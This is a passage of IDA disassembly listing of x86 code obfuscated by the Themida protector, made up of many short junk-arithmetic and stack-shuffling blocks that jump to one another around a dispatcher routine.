		pop	ecx
		pop	eax
		not	dh
		inc	dh
		push	eax
		mov	al, 0E7h
		dec	al
		add	al, 42h
		and	al, 95h
		sub	al, 0F8h
		sub	al, 7Eh
		add	dh, al
		jmp	loc_55E975
; ---------------------------------------------------------------------------


loc_572525:				; CODE XREF: sub_56207C+363Ej
		add	esp, 4
		mov	ecx, edx
		push	[esp+8+var_8]
		jmp	loc_570016
; ---------------------------------------------------------------------------


loc_572532:				; CODE XREF: sub_56207C+E978j
		xor	ecx, eax
		pop	eax
		push	ebp
		jmp	loc_55F5BB
; ---------------------------------------------------------------------------


loc_57253B:				; CODE XREF: sub_56207C+B1D9j
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebp
		jmp	loc_5624AC
; ---------------------------------------------------------------------------


loc_572555:				; CODE XREF: sub_56207C+845Ej
		mov	ebp, 43B9667Eh
		add	[esp+0Eh+var_8+2], ebp
		pop	ebp
		sub	[esp+0Ah+var_8+2], edx
		push	edx
		mov	edx, 43B9667Eh
		jmp	loc_5706EE
; ---------------------------------------------------------------------------


loc_57256E:				; CODE XREF: sub_56207C+C1F7j
		mov	ebp, 4
		sub	ebx, 5EB578B3h
		jmp	loc_5608B7
; ---------------------------------------------------------------------------


loc_57257E:				; CODE XREF: sub_56207C+6951j
		add	ebx, esi
		pop	esi
		jmp	loc_56237A
; ---------------------------------------------------------------------------


loc_572586:				; CODE XREF: sub_56207C+610Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		sub	eax, 72D62340h
		jmp	loc_562936
; ---------------------------------------------------------------------------


loc_57259C:				; CODE XREF: sub_56207C+107B3j
		not	ecx
		sub	ecx, 0FD52C91Bh
		mov	eax, ecx
		pop	ecx
		add	ecx, eax
		pop	eax
		xor	ecx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ecx
		xor	ecx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		push	[esp+12h+var_14+2]
		pop	eax
		push	2F08h
		mov	[esp+16h+var_18+2], ebp
		jmp	loc_56997C
; ---------------------------------------------------------------------------


loc_5725C7:				; CODE XREF: sub_56207C+DF02j
		add	eax, 2C8B12C2h
		jmp	loc_56EE4C
; ---------------------------------------------------------------------------


loc_5725D1:				; CODE XREF: sub_56207C+11012j
		push	edi
		mov	edi, 396F745Dh
		shl	edi, 7
		dec	edi
		jmp	loc_5723F2
; ---------------------------------------------------------------------------


loc_5725E0:				; CODE XREF: sub_56207C+F52Bj
		add	[esp+26h+var_24+2], 0D017F39h
		jmp	loc_56327E
; ---------------------------------------------------------------------------


loc_5725ED:				; CODE XREF: sub_56207C+DF46j
		sub	ebx, 13554562h
		sub	ebx, 7324D75h
		jmp	loc_565417
; ---------------------------------------------------------------------------


loc_5725FE:				; CODE XREF: sub_56207C+EDAFj
		mov	ebp, 175D412Ch
		jmp	loc_56ECC7
; ---------------------------------------------------------------------------


loc_572608:				; CODE XREF: sub_56207C+9F31j
		push	eax
		mov	eax, 0
		add	eax, 70DF3F9Fh
		add	eax, 7D5667B9h
		sub	eax, esi
		sub	eax, 7D5667B9h
		sub	eax, 70DF3F9Fh
		jmp	loc_562C8A
; ---------------------------------------------------------------------------


loc_572629:				; CODE XREF: sub_56207C+1030Ej
		sub	eax, esi
		pop	esi
		jmp	loc_56F659
; ---------------------------------------------------------------------------


loc_572631:				; CODE XREF: sub_56207C+2572j
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		jmp	loc_56705B
; ---------------------------------------------------------------------------


loc_57263E:				; CODE XREF: sub_56207C+3ADBj
		push	edx
		mov	dh, 3Eh
		sub	dh, 74h
		add	cl, dh
		pop	edx
		neg	cl
		shl	cl, 5
		dec	cl
		jmp	loc_56E9F8
; ---------------------------------------------------------------------------


loc_572653:				; CODE XREF: sub_56207C+4963j
		add	ebx, edx
		pop	edx
		push	185Ah
		jmp	loc_566CE7
; ---------------------------------------------------------------------------


loc_572660:				; CODE XREF: sub_56207C+E102j
		xor	ebp, eax
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	693Eh
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 19F44C7Fh
		xor	ecx, 52225FA1h
		not	ecx
		not	ecx
		shl	ecx, 1
		shl	ecx, 5
		xor	ecx, 0FAE88F23h
		mov	ebx, ecx
		pop	ecx
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		jmp	loc_56033D
; ---------------------------------------------------------------------------


loc_57269A:				; CODE XREF: sub_56207C+C4BFj
		add	esp, 4
		push	61CDh
		jmp	loc_56E908
; ---------------------------------------------------------------------------


loc_5726AA:				; CODE XREF: sub_56207C+3757j
		add	esp, 4
		add	esi, 4
		push	ebx
		push	esi
		mov	esi, 2
		mov	ebx, esi
		pop	esi
		jmp	loc_5602CB
; ---------------------------------------------------------------------------


loc_5726C5:				; CODE XREF: sub_56207C+64AEj
		shr	esi, 7
		push	edx
		jmp	loc_56BB4C
; ---------------------------------------------------------------------------


loc_5726CE:				; CODE XREF: sub_56207C-1BCAj
		sub	edi, ebp
		pop	ebp
		push	edi
		push	[esp+28h+var_24]
		pop	edi
		jmp	loc_56604D
; ---------------------------------------------------------------------------


loc_5726DC:				; CODE XREF: sub_56207C+8CF6j
		not	ebp
		dec	ebp
		xor	ebp, 7BF6202h
		jmp	loc_5630F7
; ---------------------------------------------------------------------------


loc_5726EA:				; CODE XREF: sub_56207C+7B2Dj
		shl	ebx, 1
		not	ebx
		and	ebx, 70C27482h
		sub	ebx, 4556A472h
		add	eax, ebx
		jmp	loc_5722E7
; ---------------------------------------------------------------------------


loc_572701:				; CODE XREF: sub_56207C+1EF1j
		sub	ebp, ebx
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		neg	ebp
		add	ebp, 0C24EAEDAh
		sub	edi, 21A7191Bh
		add	edi, 41700145h
		jmp	loc_56DA53
; ---------------------------------------------------------------------------


loc_572725:				; CODE XREF: sub_56207C+CF55j
		pop	[esp+2Ah+var_2C+2]
		push	ebx
		mov	ebx, 4
		add	[esp+2Ah+var_28+2], ebx
		pop	ebx
		pop	[esp+26h+var_28+2]
		push	edx
		mov	edx, 4
		add	[esp+26h+var_24+2], edx
		pop	edx
		pop	edx
		jmp	loc_56B1C0
; ---------------------------------------------------------------------------


loc_572747:				; CODE XREF: sub_56207C+F0F1j
		pop	ebx
		push	edi
		jmp	loc_563E4E
; ---------------------------------------------------------------------------


loc_57274E:				; CODE XREF: sub_56207C-1F85j
		not	dh
		jmp	loc_569CB9
; ---------------------------------------------------------------------------


loc_572755:				; CODE XREF: sub_56207C+77BFj
		add	dh, al
		pop	eax
		jmp	loc_56F931
; ---------------------------------------------------------------------------


loc_57275D:				; CODE XREF: sub_56207C+4924j
		add	eax, 3411171Dh
		jmp	loc_571DFC
; ---------------------------------------------------------------------------


loc_572767:				; CODE XREF: sub_56207C+5F61j
		add	esi, 7A862E0Ah
		push	31DCh
		mov	[esp+2Eh+var_30+2], ebx
		mov	ebx, 3EFE6125h
		and	ebx, 72BB2F02h
		or	ebx, 345D70A7h
		xor	ebx, 32451A85h
		and	ebx, 63851E2Ch
		dec	ebx
		add	ebx, 5F6451A0h
		xor	esi, ebx
		jmp	loc_56A877
; ---------------------------------------------------------------------------


loc_5727A0:				; CODE XREF: sub_56207C+103C1j
		push	esi
		mov	esi, 1C2B33DBh
		jmp	loc_565944
; ---------------------------------------------------------------------------


loc_5727AB:				; CODE XREF: sub_56207C+652Cj
		pop	edi
		neg	ebx
		inc	ebx
		sub	ebx, 70E9575Bh
		add	ebx, 0FABAAD26h
		and	esi, ebx
		pop	ebx
		push	2BD9h
		mov	[esp+3Eh+var_40+2], ebx
		mov	ebx, 24923B69h
		and	ebx, 66D924A3h
		inc	ebx
		dec	ebx
		sub	ebx, 57CC1384h
		xor	ebx, 655578A1h
		add	ebx, 0C4F29884h
		or	esi, ebx
		mov	ebx, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_5734E6
; ---------------------------------------------------------------------------


loc_5727F2:				; CODE XREF: Themida_:0055E863j
		mov	[esp+3Ah+var_3C+2], esp
		add	[esp+3Ah+var_3C+2], 4
		pop	edi
		jmp	loc_5617A0
; ---------------------------------------------------------------------------


loc_572802:				; CODE XREF: sub_56207C+2614j
		add	[esp+38h+var_30], esi
		push	[esp+38h+var_38]
		jmp	loc_564B8A
; ---------------------------------------------------------------------------


loc_57280E:				; CODE XREF: sub_56207C+269Bj
		mov	[esp+38h+var_38], edx
		jmp	loc_56A769
; ---------------------------------------------------------------------------


loc_572816:				; CODE XREF: sub_56207C-2326j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		jmp	loc_561031
; ---------------------------------------------------------------------------


loc_572829:				; CODE XREF: sub_56207C+4712j
		push	2AD36E0h
		pop	ecx
		jmp	loc_57259C
; ---------------------------------------------------------------------------


loc_572834:				; CODE XREF: sub_56207C+7EC8j
		sub	ecx, 6BEB5113h
		pop	edx
		push	ebx
		mov	ebx, 780E6B45h
		not	ebx
		jmp	loc_56DDA9
; ---------------------------------------------------------------------------


loc_572848:				; CODE XREF: sub_56207C+C594j
		and	al, 0F9h
		xor	al, 16h
		add	bh, al
		jmp	loc_55E478
; ---------------------------------------------------------------------------


loc_572853:				; CODE XREF: sub_56207C+7D61j
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ah+var_2C+2]
		pop	esp
		pop	eax
		sub	esp, 4
		jmp	loc_562677
; ---------------------------------------------------------------------------


loc_572873:				; CODE XREF: sub_56207C+4B3Dj
		mov	ecx, 0CE5684Bh
		xor	ebp, ecx
		pop	ecx
		shr	ebp, 1
		push	ecx
		mov	ecx, 9F03307h
		dec	ecx
		add	ecx, 335A0D42h
		dec	ecx
		shl	ecx, 3
		not	ecx
		sub	ecx, 0EF9FC157h
		xor	ebp, ecx
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp+22h+var_24+2]
		jmp	loc_5648EB
; ---------------------------------------------------------------------------


loc_5728A3:				; CODE XREF: sub_56207C+195Fj
		mov	ebx, [esp+44h+var_44]
		add	esp, 4
		push	esi
		push	357D29DBh
		pop	esi
		jmp	loc_56357A
; ---------------------------------------------------------------------------


loc_5728B8:				; CODE XREF: sub_56207C+F3B8j
		shl	ebp, 7
		neg	ebp
		dec	ebp
		sub	ebp, 5844166Ch
		mov	eax, ebp
		pop	ebp
		add	eax, 1
		jmp	loc_563AF7
; ---------------------------------------------------------------------------


loc_5728CF:				; CODE XREF: sub_56207C-4A2j
		mov	[esp+28h+var_28], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	ebp
		jmp	loc_5655E0
; ---------------------------------------------------------------------------


loc_5728E0:				; CODE XREF: sub_56207C+A8E0j
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		xchg	edx, [esp+48h+var_48]
		pop	esp
		jmp	loc_56F3B9
; ---------------------------------------------------------------------------


loc_5728F4:				; CODE XREF: sub_56207C+97B1j
		mov	ecx, 18382D93h
		add	ebx, ecx
		pop	ecx
		jmp	loc_55E957
; ---------------------------------------------------------------------------


loc_572901:				; CODE XREF: sub_56207C+596Cj
		xchg	edi, [esp+2Eh+var_30+2]
		pop	esp
		push	ebp
		jmp	loc_571677
; ---------------------------------------------------------------------------


loc_57290B:				; CODE XREF: sub_56207C+3234j
		push	4BBDh
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 43AA1B8Eh
		mov	edx, 43AA1BB6h
		jmp	loc_563751
; ---------------------------------------------------------------------------


loc_572922:				; CODE XREF: sub_56207C+AEB0j
		pop	ebp
		pop	[esp+26h+var_28+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], esi
		mov	esi, 2FF3F70h
		add	ebx, esi
		pop	esi
		mov	dx, word ptr [esp+1Ah+var_1C+2]
		push	edi
		sub	esp, 4
		jmp	loc_56857E
; ---------------------------------------------------------------------------


loc_57293F:				; CODE XREF: sub_56207C+61EAj
		push	edx
		mov	edx, 628E42BCh
		or	edx, 12504817h
		shl	edx, 7
		shr	edx, 5
		or	edx, 4DD824D0h
		or	edx, 4ADC175Bh
		jmp	loc_566B2C
; ---------------------------------------------------------------------------


loc_572962:				; CODE XREF: sub_56207C+98D5j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+38h+var_38]
		jmp	loc_56D74C
; ---------------------------------------------------------------------------


loc_572975:				; CODE XREF: sub_56207C+26D8j
		push	[esp+0Ah+var_C+2]
		pop	edi
		push	edx
		push	esp
		jmp	loc_56569F
; ---------------------------------------------------------------------------


loc_572980:				; CODE XREF: sub_56207C+C9E2j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp-0Eh+arg_8+2]
		pop	esp
		mov	[esp-12h+arg_C+2], esi
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], esp
		add	[esp-0Eh+arg_8+2], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_55E561
; ---------------------------------------------------------------------------


loc_5729B4:				; CODE XREF: sub_56207C+D9F0j
		xchg	esi, [esp+38h+var_38]
		pop	esp
		push	4006h
		mov	[esp+38h+var_38], ebp
		push	ebx
		mov	ebx, 3F462E54h
		add	ebx, 2C1B3E6Dh
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 6B616CBFh
		add	eax, ebp
		push	[esp+38h+var_38]
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+3Ch+var_3C]
		pop	esp
		xor	eax, [esp+38h+var_38]
		xor	[esp+38h+var_38], eax
		xor	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		jmp	loc_567A72
; ---------------------------------------------------------------------------


loc_572A04:				; CODE XREF: sub_56207C+50A5j
		not	edi
		push	6336h
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 340A0250h
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 290583Ah
		sub	edi, esi
		push	[esp+26h+var_28+2]
		pop	esi
		add	esp, 4
		shr	edi, 3
		shr	edi, 4
		add	edi, 6D355677h
		sub	eax, 4A1B0883h
		add	eax, edi
		add	eax, 4A1B0883h
		pop	edi
		add	eax, ebx
		push	ebx
		push	39E4h
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 29012116h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, 6B1B64C1h
		shr	ebx, 6
		push	esi
		push	ebp
		mov	ebp, 1
		mov	esi, ebp
		jmp	loc_5634D0
; ---------------------------------------------------------------------------


loc_572A6B:				; CODE XREF: sub_56207C+F878j
		push	4AE2h
		mov	[esp+20h+var_20], edx
		mov	edx, edi
		push	edx
		sub	[esp+24h+var_24], 7A1139C8h
		jmp	loc_56FA90
; ---------------------------------------------------------------------------


loc_572A82:				; DATA XREF: Themida_:0055E110o
		movzx	ax, byte ptr [edx]
		jmp	loc_565A0A
; ---------------------------------------------------------------------------


loc_572A8B:				; CODE XREF: sub_56207C-1C12j
		mov	ebx, 3F50102Eh
		jmp	loc_56A7E6
; ---------------------------------------------------------------------------


loc_572A95:				; DATA XREF: Themida_:0055E290o
		mov	esp, [esp+10h+var_10]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572A9D:				; CODE XREF: sub_56207C+329Aj
		push	[esp+34h+var_34]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ecx
		mov	ecx, 728D5E51h
		jmp	loc_560462
; ---------------------------------------------------------------------------


loc_572ABD:				; CODE XREF: sub_56207C-3C78j
		push	esp
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_56A8E1
; ---------------------------------------------------------------------------


loc_572ADE:				; CODE XREF: sub_56207C+BBD6j
		or	ecx, 3F223C6Ch
		xor	ecx, 49EC5D23h
		push	ecx
		pop	edx
		jmp	loc_56D727
; ---------------------------------------------------------------------------


loc_572AF1:				; CODE XREF: sub_56207C-C54j
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 0C49480DAh
		mov	esi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esi, 298364FCh
		sub	esi, 0FFFFFFFFh
		shl	esi, 4
		jmp	loc_5720D9
; ---------------------------------------------------------------------------


loc_572B13:				; CODE XREF: sub_56207C+CADj
		mov	esi, [esp+4Ch+var_4C]
		add	esp, 4
		push	24ADh
		mov	[esp+4Ch+var_4C], edx
		jmp	loc_5673D5
; ---------------------------------------------------------------------------


loc_572B29:				; CODE XREF: sub_56207C+2340j
		mov	bh, ch
		jmp	loc_563254
; ---------------------------------------------------------------------------


loc_572B30:				; CODE XREF: Themida_:0055EDDCj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esp
		jmp	loc_566A13
; ---------------------------------------------------------------------------


loc_572B3B:				; CODE XREF: sub_56207C-2C56j
		push	ecx
		jmp	loc_55FDDE
; ---------------------------------------------------------------------------


loc_572B41:				; CODE XREF: sub_56207C+B3A6j
		or	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 1F4B4ECCh
		jmp	loc_56E911
; ---------------------------------------------------------------------------


loc_572B4F:				; CODE XREF: sub_560CB5+27j
		pop	ebp
		add	esi, 0B96EB596h
		mov	ecx, esi
		mov	esi, [esp+30h+var_30]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+34h+var_34]
		pop	esp
		jmp	loc_567003
; ---------------------------------------------------------------------------


loc_572B73:				; CODE XREF: sub_56207C+FB9Dj
		mov	dh, 0A5h
		mov	ah, dh
		pop	edx
		jmp	loc_5621FD
; ---------------------------------------------------------------------------


loc_572B7D:				; CODE XREF: sub_56207C+8902j
		sub	ecx, 25625A34h
		push	ebx
		mov	ebx, 0
		push	edx
		mov	edx, 3F3D28B4h
		xor	edx, 5394998h
		sub	ebx, 36A8153Fh
		sub	ebx, edx
		add	ebx, 36A8153Fh
		pop	edx
		sub	ebx, 62704648h
		add	ebx, ecx
		add	ebx, 62704648h
		add	ebx, 3A04612Ch
		add	eax, [ebx]
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		pop	esp
		jmp	loc_56E738
; ---------------------------------------------------------------------------


loc_572BDA:				; CODE XREF: sub_56207C+9EC2j
		sub	edx, 47786B45h
		not	edx
		xor	edx, 57B5598Ch
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		mov	edx, [esp+38h+var_38]
		push	edi
		mov	edi, esp
		jmp	loc_565472
; ---------------------------------------------------------------------------


loc_572BF9:				; DATA XREF: Themida_:0055E1A4o
		push	dword ptr [edi+40h]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572C01:				; CODE XREF: sub_56207C+3AD3j
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp+4+var_4],	bx
		jmp	loc_56BD85
; ---------------------------------------------------------------------------


loc_572C13:				; CODE XREF: sub_56207C+70C9j
		neg	ecx
		sub	ecx, 516FA4B8h
		add	edi, ecx
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		pop	esi
		jmp	loc_55EC61
; ---------------------------------------------------------------------------


loc_572C2C:				; CODE XREF: sub_56207C-22D8j
		push	779Ah
		mov	[esp+34h+var_34], ecx
		jmp	loc_56C506
; ---------------------------------------------------------------------------


loc_572C39:				; CODE XREF: sub_56207C+3B53j
		mov	ah, bl
		not	ah
		mov	bl, ah
		jmp	loc_55FB3C
; ---------------------------------------------------------------------------


loc_572C44:				; CODE XREF: sub_56207C-1F5Bj
		sub	esp, 4
		jmp	loc_5663FD
; ---------------------------------------------------------------------------


loc_572C4C:				; CODE XREF: sub_56207C+9841j
		mov	edx, 628D7096h
		or	esi, edx
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_567300
; ---------------------------------------------------------------------------


loc_572C61:				; CODE XREF: sub_56207C+C027j
		push	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], eax
		mov	al, 8Fh
		add	al, 51h
		mov	dh, al
		pop	eax
		add	al, 0D3h
		sub	al, dh
		sub	al, 0D3h
		push	[esp+24h+var_24]
		pop	edx
		jmp	loc_563F95
; ---------------------------------------------------------------------------


loc_572C91:				; CODE XREF: sub_56207C+7F32j
		add	eax, 421320EEh
		push	584Ah
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 3F2C5268h
		jmp	loc_569C9E
; ---------------------------------------------------------------------------


loc_572CA8:				; CODE XREF: sub_56207C+DA1Bj
		add	eax, ebx
		pop	ebx
		pop	edx
		mov	edi, [esp+36h+var_38+2]
		add	esp, 4
		jmp	loc_55ECB0
; ---------------------------------------------------------------------------


loc_572CB7:				; CODE XREF: sub_56207C+C14Dj
		push	edx
		mov	dl, bh
		jmp	loc_56B339
; ---------------------------------------------------------------------------


loc_572CBF:				; CODE XREF: sub_56207C+2F73j
		add	ecx, 0DDBABCACh
		add	edx, ecx
		jmp	loc_56FF54
; ---------------------------------------------------------------------------


loc_572CCC:				; CODE XREF: sub_56207C-D7Dj
		add	eax, 548C6E65h
		pop	ecx
		jmp	loc_55E910
; ---------------------------------------------------------------------------


loc_572CD7:				; CODE XREF: sub_56207C+BBC7j
		or	ch, bl
		pop	ebx
		push	ebx
		mov	bh, 95h
		and	bh, 24h
		add	bh, 0D1h
		xor	ch, bh
		jmp	loc_55ED47
; ---------------------------------------------------------------------------


loc_572CEA:				; CODE XREF: sub_56207C+DE53j
		add	cl, 0C4h
		pop	bx
		xor	al, cl
		pop	ecx
		push	457Ch
		jmp	loc_56BCAA
; ---------------------------------------------------------------------------


loc_572CFC:				; CODE XREF: sub_56207C-24AEj
		add	esp, 4
		add	eax, 4
		xor	eax, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], eax
		xor	eax, [esp-10h+arg_C]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	ecx, 1A8F6D15h
		add	ecx, 570F3CDAh
		sub	ecx, 19AE511Fh
		sub	ecx, 720D6AAAh
		add	ecx, ebp
		add	ecx, 720D6AAAh
		jmp	loc_56F55B
; ---------------------------------------------------------------------------


loc_572D3C:				; CODE XREF: sub_56207C-3831j
		shl	ebp, 6
		push	esi
		mov	esi, 1B25096Eh
		sub	esi, 38B23304h
		jmp	loc_5659C8
; ---------------------------------------------------------------------------


loc_572D50:				; CODE XREF: sub_56207C+B6EBj
		mov	[esp+0], ebx
		jmp	loc_56922E
; ---------------------------------------------------------------------------


loc_572D58:				; CODE XREF: sub_56207C+9E88j
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	edx
		push	ecx
		push	6F6C713Ah
		jmp	loc_562A5F
; ---------------------------------------------------------------------------


loc_572D6D:				; CODE XREF: sub_56207C+D884j
		xor	ebp, ebx
		pop	ebx
		or	[edi+1Ch], ebp
		push	[esp+10h+var_10]
		pop	ebp
		push	5CC7h
		mov	[esp+14h+var_14], eax
		jmp	loc_5643D2
; ---------------------------------------------------------------------------


loc_572D84:				; CODE XREF: sub_56207C+1C11j
		mov	esi, [esp+28h+var_28]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2C]
		pop	esp
		xchg	ecx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		push	2B6Ch
		jmp	loc_55F9F2
; ---------------------------------------------------------------------------


loc_572DA7:				; CODE XREF: sub_56207C-13DCj
		pop	eax
		push	ebx
		jmp	loc_56C779
; ---------------------------------------------------------------------------


loc_572DAE:				; CODE XREF: sub_56207C+EF00j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572DB3:				; CODE XREF: sub_56207C+86AEj
		push	ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572DBB:				; CODE XREF: sub_56207C+77FBj
		xor	esi, 78E43F88h
		xor	edi, esi
		pop	esi
		push	edx
		jmp	loc_55E980
; ---------------------------------------------------------------------------


loc_572DCA:				; CODE XREF: sub_56207C-315Ej
		sub	ebx, 1A302E86h
		sub	ebx, eax
		push	eax
		mov	eax, 45185EDEh
		sub	eax, 25A770D2h
		xor	eax, 540C08Ah
		add	ebx, eax
		pop	eax
		add	ebx, 25E33268h
		push	edx
		push	6190h
		mov	[esp+28h+var_28], ecx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		mov	esi, 197F4A81h
		jmp	loc_56184F
; ---------------------------------------------------------------------------


loc_572E07:				; CODE XREF: sub_56207C+F84Bj
		push	esi
		jmp	loc_57104C
; ---------------------------------------------------------------------------


loc_572E0D:				; CODE XREF: sub_56207C+7C71j
		mov	eax, [esp+48h+var_48]
		add	esp, 4
		add	ebx, 77BD0536h
		add	ebx, eax
		sub	ebx, 77BD0536h
		push	esi
		jmp	loc_56D3F2
; ---------------------------------------------------------------------------


loc_572E27:				; CODE XREF: sub_56207C+5D39j
		pop	ecx
		jmp	loc_5635EE
; ---------------------------------------------------------------------------


loc_572E2D:				; CODE XREF: sub_56207C+5CBAj
		add	esp, 4
		pop	eax
		push	876h
		jmp	loc_55F71A
; ---------------------------------------------------------------------------


loc_572E3E:				; CODE XREF: sub_56207C+C571j
		pop	ecx
		jmp	loc_569361
; ---------------------------------------------------------------------------


loc_572E44:				; CODE XREF: sub_56207C-6D0j
		add	edi, 4
		jmp	loc_56CA16
; ---------------------------------------------------------------------------


loc_572E4C:				; CODE XREF: sub_56207C+5A29j
		sub	ebx, 1
		jmp	loc_564D65
; ---------------------------------------------------------------------------


loc_572E57:				; CODE XREF: sub_56207C+FB8Ej
		pop	esp
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	908h
		mov	[esp+28h+var_28], ebp
		mov	ebp, esp
		push	eax
		push	2C0Fh
		jmp	loc_565451
; ---------------------------------------------------------------------------


loc_572E75:				; CODE XREF: sub_56207C-14F6j
		xor	ebp, edi
		xor	edi, ebp
		jmp	loc_56137D
; ---------------------------------------------------------------------------


loc_572E7E:				; CODE XREF: sub_56207C+8887j
		xor	eax, edx
		pop	edx
		push	edx
		sub	esp, 4
		push	esp
		jmp	loc_56B2A2
; ---------------------------------------------------------------------------


loc_572E8B:				; CODE XREF: sub_56207C+9254j
		mov	esp, [esp+38h+var_38]
		jmp	loc_562492
; ---------------------------------------------------------------------------


loc_572E93:				; CODE XREF: sub_56207C-14B8j
		xor	bh, 0Eh
		sub	al, 27h
		jmp	loc_5660E0
; ---------------------------------------------------------------------------


loc_572E9D:				; CODE XREF: sub_56207C+63C7j
		mov	edx, esp
		jmp	loc_571BFE
; ---------------------------------------------------------------------------


loc_572EA4:				; CODE XREF: sub_56207C+157Aj
		add	ebx, edx
		jmp	loc_56C269
; ---------------------------------------------------------------------------


loc_572EAB:				; CODE XREF: sub_56207C+5828j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		add	ebx, edi
		pop	edi
		xor	ebx, [esp+38h+var_38]
		xor	[esp+38h+var_38], ebx
		xor	ebx, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		ror	byte ptr [esp+38h+var_38], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572ED7:				; CODE XREF: sub_56207C+3699j
		pop	dx
		jmp	loc_56C95B
; ---------------------------------------------------------------------------


loc_572EDE:				; CODE XREF: sub_56207C+2053j
		add	ecx, eax
		jmp	loc_56590C
; ---------------------------------------------------------------------------


loc_572EE5:				; CODE XREF: sub_56207C+438Dj
		push	edi
		jmp	loc_5654C5
; ---------------------------------------------------------------------------


loc_572EEB:				; CODE XREF: sub_56207C+33Cj
		pop	edx
		push	[esp+32h+var_34+2]
		push	[esp+36h+var_38+2]
		pop	ecx
		jmp	loc_5652D6
; ---------------------------------------------------------------------------


loc_572EF8:				; CODE XREF: sub_56207C+A4D5j
		push	[esp+60h+var_60]
		jmp	loc_565E2F
; ---------------------------------------------------------------------------


loc_572F00:				; CODE XREF: sub_56207C+DE76j
		xor	esi, [esp+14h+var_14]
		xor	[esp+14h+var_14], esi
		xor	esi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	fs:[edx], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572F15:				; CODE XREF: sub_56207C-1135j
		push	ebp
		jmp	loc_56FC2F
; ---------------------------------------------------------------------------


loc_572F1B:				; CODE XREF: sub_56207C+3B98j
		mov	bh, cl
		pop	ecx
		shl	bh, 5
		jmp	loc_56FCCB
; ---------------------------------------------------------------------------


loc_572F26:				; CODE XREF: sub_5604D8+12j
		push	esp
		jmp	loc_569974
; ---------------------------------------------------------------------------


loc_572F2C:				; CODE XREF: sub_56207C-3482j
		sub	edx, ebx
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		shr	edx, 1
		sub	edx, 9687E87h
		dec	edx
		not	edx
		xor	edx, 8C2AA20h
		push	edx
		jmp	loc_563A06
; ---------------------------------------------------------------------------


loc_572F4E:				; CODE XREF: sub_56207C-398Ej
		add	eax, 4
		push	esi
		jmp	loc_57237C
